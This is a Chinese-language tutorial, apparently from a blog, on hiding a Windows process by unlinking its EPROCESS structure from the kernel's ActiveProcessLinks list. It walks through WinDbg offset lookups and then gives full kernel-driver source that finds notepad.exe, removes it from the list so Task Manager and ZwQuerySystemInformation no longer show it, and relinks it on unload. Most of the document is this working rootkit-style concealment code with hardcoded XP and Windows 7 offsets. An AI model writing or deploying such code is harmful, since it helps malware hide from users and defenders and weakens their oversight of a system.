断链隐藏进程及恢复（附代码）

首先，我们知道，进程体EPROCESS是被系统维护在一个双向链表LIST_ENTRY中的，那么，我们只要把进程的EPROCESS从这个链表中摘除，就可以实现进程隐藏了，当然，这只能瞒过进程管理器和zwQuerySystemInformation，暴力枚举依旧可以发现断链隐藏的进程，因为进程体还在内存中，这个以后再说。

要隐藏我们指定的某个进程，我们肯定需要遍历整个EPROCESS链表， 当EPROCESS对应的进程名与 我们所指定的进程的进程名一样时，我们就把该EPROCESS从链表中移除。

这里。我们遇到两个问题，：

1.既然要遍历链表，我们就要知道每个结构的前后结构；

2.既然要对比进程名，我们就要知道进程名放在哪个地方；

以上两个问题，借助Windbg，我们就可以解决

下面我们以x86为例：

在windbg中，我们先看一下EPROCESS的结构，输入命令dt _EPROCESS,可以发现在偏移0x88处，有一个变量ActiveProcessLinks，它的类型为LIST_ENTRY

在输入命令dt _LIST_ENTRY,查看LIST_ENTRY的结构，可以看到变量FLink和BLink，FLink指向当前节点的后一个节点的ActiveProcessLinks地址，BLink指向当前结点的前一个节点的ActiveProcessLinks地址

继续往下，我们可以看到在偏移0x174处，出现了ImageFileName，这里存的就是我们要找的进程名

下面我们切入一个进程实际看一下  输入命令！process 0 0，就可以显示所有进程信息

然后，输入命令dt  _EPROCESS  895d6da0就可以切入进程smss.exe了   

     

smss.exe的后一个结点的 ActiveProcessLinks就放在地址0x89a6d778中，用dd 0x89a6d778命令查看地址0x89a6d778中的内容，

注意，因为FLink指向当前节点的后一个节点的ActiveProcessLinks地址，所以后一个节点的EPROCESS地址为ActiveProcessLinks地址减去FLink偏移0x88

然后就可以找到smss.exe的下一个进程winlogon.exe了，这就印证了上面的截图中看到smss.exe的下一个进程是winlogon.exe

这样，我们就解决了我们所遇到的问题，对于x64，方法是一样的，读者可以自行练习。代码如下：

#ifndef CXX_HIDEPROCESS_H
#    include "HideProcess.h"
#endif


ULONG_PTR ActiveOffsetPre =  0;
ULONG_PTR ActiveOffsetNext = 0;
ULONG_PTR ImageName = 0; 
WIN_VERSION WinVersion = WINDOWS_UNKNOW;

PLIST_ENTRY Temp = NULL;
PLIST_ENTRY HeadEntry = NULL;
NTSTATUS
    DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath)
{


    DbgPrint("DriverEntry
");

    DriverObject->DriverUnload = UnloadDriver;


    WinVersion = GetWindowsVersion();


    switch(WinVersion)
    {
    case WINDOWS_XP:   //32Bits
        {

            ActiveOffsetPre =  0x8c;
            ActiveOffsetNext = 0x88;
            ImageName = 0x174; 
            break;
        }

    case WINDOWS_7:   //64Bits 
        {
            ActiveOffsetPre =  0x190;
            ActiveOffsetNext = 0x188;
            ImageName = 0x2e0; 
            break;
        }
    }
    

    HideProcess("notepad.exe");

    HeadEntry = (PLIST_ENTRY)((ULONG_PTR)PsGetCurrentProcess()+ActiveOffsetNext);// 在DriverEntry中执行得到的才是System进程

    return STATUS_SUCCESS;

}

VOID HideProcess(char* ProcessName)
{
    PEPROCESS EProcessCurrent = NULL;
    PEPROCESS EProcessPre = NULL;


    EProcessCurrent = PsGetCurrentProcess();    //System  EProcess
    
    

    EProcessPre = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetPre)))-ActiveOffsetNext);

    //DbgPrint("EProcessCurrent: 0x%p
",EProcessCurrent);  

    //DbgPrint("EProcessNext: 0x%p
",EProcessNext);  



    while (EProcessCurrent!=EProcessPre)
    {
        //    DbgPrint("%s
",(char*)((ULONG_PTR)EProcessCurrent+ImageName));


        if(strcmp((char*)((ULONG_PTR)EProcessCurrent+ImageName),ProcessName)==0)
        {


            Temp = (PLIST_ENTRY)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext);

            if (MmIsAddressValid(Temp))
            {
                //    Temp->Blink->Flink = Temp->Flink;
                //    Temp->Flink->Blink = Temp->Blink;   //数据结构  不稳定


                RemoveEntryList(Temp);


            }


            break;
        }

        EProcessCurrent = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext)))-ActiveOffsetNext);


    }
}

VOID UnloadDriver(PDRIVER_OBJECT  DriverObject)
{
    ResumeProcess();
    DbgPrint("UnloadDriver
");
}

VOID ResumeProcess()
{
    
    if(Temp!=NULL)
    {
        InsertHeadList(HeadEntry,Temp);
    }
    

}






WIN_VERSION GetWindowsVersion()
{
    RTL_OSVERSIONINFOEXW osverInfo = {sizeof(osverInfo)}; 
    pfnRtlGetVersion RtlGetVersion = NULL;
    WIN_VERSION WinVersion;
    WCHAR wzRtlGetVersion[] = L"RtlGetVersion";

    RtlGetVersion = GetFunctionAddressByName(wzRtlGetVersion);    //Ntoskrnl.exe  导出表
    if (RtlGetVersion)
    {
        RtlGetVersion((PRTL_OSVERSIONINFOW)&osverInfo); 
    } 
    else 
    {
        PsGetVersion(&osverInfo.dwMajorVersion, &osverInfo.dwMinorVersion, &osverInfo.dwBuildNumber, NULL);   //Documet
    }

    DbgPrint("Build Number: %d
", osverInfo.dwBuildNumber);

    if (osverInfo.dwMajorVersion == 5 && osverInfo.dwMinorVersion == 1) 
    {
        DbgPrint("WINDOWS_XP
");
        WinVersion = WINDOWS_XP;
    }
    else if (osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1)
    {
        DbgPrint("WINDOWS 7
");
        WinVersion = WINDOWS_7;
    }
    else if (osverInfo.dwMajorVersion == 6 && 
        osverInfo.dwMinorVersion == 2 &&
        osverInfo.dwBuildNumber == 9200)
    {
        DbgPrint("WINDOWS 8
");
        WinVersion = WINDOWS_8;
    }
    else if (osverInfo.dwMajorVersion == 6 && 
        osverInfo.dwMinorVersion == 3 && 
        osverInfo.dwBuildNumber == 9600)
    {
        DbgPrint("WINDOWS 8.1
");
        WinVersion = WINDOWS_8_1;
    }
    else
    {
        DbgPrint("WINDOWS_UNKNOW
");
        WinVersion = WINDOWS_UNKNOW;
    }

    return WinVersion;
}


PVOID 
    GetFunctionAddressByName(WCHAR *wzFunction)
{
    UNICODE_STRING uniFunction;  
    PVOID AddrBase = NULL;

    if (wzFunction && wcslen(wzFunction) > 0)
    {
        RtlInitUnicodeString(&uniFunction, wzFunction);      //常量指针
        AddrBase = MmGetSystemRoutineAddress(&uniFunction);  //在System 进程  第一个模块  Ntosknrl.exe  ExportTable
    }

    return AddrBase;
}